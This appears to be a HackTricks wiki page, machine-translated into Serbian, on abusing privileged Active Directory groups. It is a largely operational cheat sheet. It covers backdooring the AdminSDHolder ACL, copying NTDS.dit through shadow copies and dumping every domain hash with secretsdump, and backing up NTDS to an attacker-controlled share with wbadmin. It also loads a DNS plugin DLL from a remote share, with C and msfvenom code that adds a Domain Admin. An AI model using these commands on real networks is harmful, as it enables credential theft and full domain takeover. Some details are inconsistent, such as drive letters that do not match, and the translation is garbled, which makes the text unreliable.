17 KiB
Privileged Groups
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
Pažljivo poznate grupe sa administratorskim privilegijama
- Administratori
- Administratori domena
- Administratori preduzeća
Operatori naloga
Ova grupa ima ovlašćenje da kreira naloge i grupe koje nisu administratori na domenu. Pored toga, omogućava lokalno prijavljivanje na kontroler domena (DC).
Da bi identifikovao članove ove grupe, izvršava se sledeća komanda:
Get-NetGroupMember -Identity "Account Operators" -Recurse
Dodavanje novih korisnika je dozvoljeno, kao i lokalna prijava na DC01.
AdminSDHolder grupa
Access Control List (ACL) grupe AdminSDHolder je ključna jer postavlja dozvole za sve "zaštićene grupe" unutar Active Directory-a, uključujući grupe sa visokim privilegijama. Ovaj mehanizam osigurava bezbednost ovih grupa sprečavanjem neovlašćenih izmena.
Napadač bi mogao da iskoristi ovo tako što bi izmenio ACL grupe AdminSDHolder, dodeljujući pune dozvole standardnom korisniku. Ovo bi efikasno dalo tom korisniku punu kontrolu nad svim zaštićenim grupama. Ako se dozvole ovog korisnika promene ili uklone, one bi se automatski vratile u roku od sat vremena zbog dizajna sistema.
Komande za pregled članova i izmenu dozvola uključuju:
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
Dostupan je skript za ubrzanje procesa vraćanja: Invoke-ADSDPropagation.ps1.
Za više detalja, posetite ired.team.
AD Recycle Bin
Članstvo u ovoj grupi omogućava čitanje obrisanih objekata Active Directory-a, što može otkriti osetljive informacije:
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
Pristup Kontroleru Domena
Pristup datotekama na DC-u je ograničen osim ako korisnik nije deo grupe Server Operators
, što menja nivo pristupa.
Eskalacija Privilegija
Korišćenjem PsService
ili sc
iz Sysinternals, može se pregledati i modifikovati dozvole servisa. Grupa Server Operators
, na primer, ima potpunu kontrolu nad određenim servisima, što omogućava izvršavanje proizvoljnih komandi i eskalaciju privilegija:
C:\> .\PsService.exe security AppReadiness
Ova komanda otkriva da Server Operators
imaju potpuni pristup, omogućavajući manipulaciju servisima za povišene privilegije.
Backup Operators
Članstvo u grupi Backup Operators
pruža pristup DC01
fajl sistemu zbog privilegija SeBackup
i SeRestore
. Ove privilegije omogućavaju pretragu foldera, listanje i kopiranje fajlova, čak i bez eksplicitnih dozvola, koristeći FILE_FLAG_BACKUP_SEMANTICS
flag. Korišćenje specifičnih skripti je neophodno za ovaj proces.
Da biste naveli članove grupe, izvršite:
Get-NetGroupMember -Identity "Backup Operators" -Recurse
Локални Напад
Да би се локално искористиле ове привилегије, користе се следећи кораци:
- Увоз потребних библиотека:
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
- Omogućite i verifikujte
SeBackupPrivilege
:
Set-SeBackupPrivilege
Get-SeBackupPrivilege
- Pristupite i kopirajte datoteke iz ograničenih direktorijuma, na primer:
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
AD Attack
Direktan pristup datotečnom sistemu kontrolera domena omogućava krađu NTDS.dit
baze podataka, koja sadrži sve NTLM hešove za korisnike i računare u domenu.
Using diskshadow.exe
- Kreirajte senku kopiju
C
diska:
diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit
- Kopirajte
NTDS.dit
iz senčne kopije:
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
Alternativno, koristite robocopy
za kopiranje fajlova:
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
- Izvucite
SYSTEM
iSAM
za preuzimanje hešova:
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
- Preuzmite sve hash-e iz
NTDS.dit
:
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
Koristeći wbadmin.exe
- Postavite NTFS datotečni sistem za SMB server na mašini napadača i keširajte SMB akreditive na cilјnoj mašini.
- Koristite
wbadmin.exe
za sistemsku rezervnu kopiju i ekstrakcijuNTDS.dit
:
net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
Za praktičnu demonstraciju, pogledajte DEMO VIDEO SA IPPSEC.
DnsAdmins
Članovi DnsAdmins grupe mogu iskoristiti svoje privilegije da učitaju proizvoljni DLL sa SYSTEM privilegijama na DNS serveru, koji se često hostuje na kontrolerima domena. Ova sposobnost omogućava značajan potencijal za eksploataciju.
Da biste prikazali članove DnsAdmins grupe, koristite:
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
Izvrši proizvoljni DLL
Članovi mogu naterati DNS server da učita proizvoljni DLL (bilo lokalno ili sa udaljenog dela) koristeći komande kao što su:
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
// Modify DLL to add user
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
Ponovno pokretanje DNS usluge (što može zahtevati dodatne dozvole) je neophodno da bi se DLL učitao:
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns
For more details on this attack vector, refer to ired.team.
Mimilib.dll
Takođe je moguće koristiti mimilib.dll za izvršavanje komandi, modifikujući ga da izvršava specifične komande ili reverzne shelove. Check this post for more information.
WPAD Record for MitM
DnsAdmins mogu manipulisati DNS zapisima da bi izveli napade Man-in-the-Middle (MitM) kreiranjem WPAD zapisa nakon onemogućavanja globalne liste blokiranih upita. Alati poput Responder ili Inveigh mogu se koristiti za lažiranje i hvatanje mrežnog saobraćaja.
### Event Log Readers Članovi mogu pristupiti dnevnicima događaja, potencijalno pronalazeći osetljive informacije kao što su lozinke u običnom tekstu ili detalji izvršenja komandi:
# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
Exchange Windows Permissions
Ova grupa može da menja DACL-ove na objektu domena, potencijalno dodeljujući DCSync privilegije. Tehnike za eskalaciju privilegija koje koriste ovu grupu su detaljno opisane u Exchange-AD-Privesc GitHub repozitorijumu.
# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
Hyper-V Administratori
Hyper-V Administratori imaju potpuni pristup Hyper-V, što se može iskoristiti za preuzimanje kontrole nad virtuelizovanim Domen kontrolerima. Ovo uključuje kloniranje aktivnih DC-ova i vađenje NTLM hash-eva iz NTDS.dit datoteke.
Primer Iskorišćavanja
Mozilla Maintenance Service u Firefox-u može biti iskorišćen od strane Hyper-V Administratora za izvršavanje komandi kao SYSTEM. Ovo uključuje kreiranje tvrdog linka do zaštićene SYSTEM datoteke i zamenu sa zlonamernim izvršnim fajlom:
# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance
Note: Eksploatacija hard linkova je ublažena u nedavnim Windows ažuriranjima.
Organizacija Upravljanje
U okruženjima gde je Microsoft Exchange implementiran, posebna grupa poznata kao Organizacija Upravljanje ima značajne mogućnosti. Ova grupa ima privilegiju da pristupa poštanskim sandučićima svih korisnika domena i održava potpunu kontrolu nad 'Microsoft Exchange Security Groups' Organizacijskom Jedinicom (OU). Ova kontrola uključuje Exchange Windows Permissions
grupu, koja se može iskoristiti za eskalaciju privilegija.
Eksploatacija Privilegija i Komande
Print Operatori
Članovi grupe Print Operatori su obdareni nekoliko privilegija, uključujući SeLoadDriverPrivilege
, koja im omogućava da se lokalno prijave na Kontroler Domena, isključe ga i upravljaju štampačima. Da bi iskoristili ove privilegije, posebno ako SeLoadDriverPrivilege
nije vidljiv u neuzdignutom kontekstu, potrebno je zaobići Kontrolu Korisničkog Naloga (UAC).
Da biste naveli članove ove grupe, koristi se sledeća PowerShell komanda:
Get-NetGroupMember -Identity "Print Operators" -Recurse
Za detaljnije tehnike eksploatacije vezane za SeLoadDriverPrivilege
, treba konsultovati specifične bezbednosne resurse.
Korisnici daljinske radne površine
Članovima ove grupe je odobren pristup računarima putem Protokola daljinske radne površine (RDP). Da bi se izbrojali ovi članovi, dostupne su PowerShell komande:
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
Dalje informacije o iskorišćavanju RDP-a mogu se naći u posvećenim pentesting resursima.
Korisnici za daljinsko upravljanje
Članovi mogu pristupiti računarima putem Windows Remote Management (WinRM). Enumeracija ovih članova se postiže kroz:
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
Za tehnike eksploatacije povezane sa WinRM, treba konsultovati specifičnu dokumentaciju.
Server Operators
Ova grupa ima dozvole za izvođenje raznih konfiguracija na kontrolerima domena, uključujući privilegije za pravljenje rezervnih kopija i vraćanje, promenu sistemskog vremena i isključivanje sistema. Da biste nabrojali članove, data je sledeća komanda:
Get-NetGroupMember -Identity "Server Operators" -Recurse
References
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges
- https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/
- https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory
- https://docs.microsoft.com/en-us/windows/desktop/secauthz/enabling-and-disabling-privileges-in-c--
- https://adsecurity.org/?p=3658
- http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
- https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/
- https://rastamouse.me/2019/01/gpo-abuse-part-1/
- https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/EXE/NtLoadDriver-C%2B%2B/ntloaddriver.cpp#L13
- https://github.com/tandasat/ExploitCapcom
- https://github.com/TarlogicSecurity/EoPLoadDriver/blob/master/eoploaddriver.cpp
- https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys
- https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e
- https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html
Koristite Trickest za lako kreiranje i automatizaciju radnih tokova pokretanih najnaprednijim alatima zajednice.
Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podrška HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.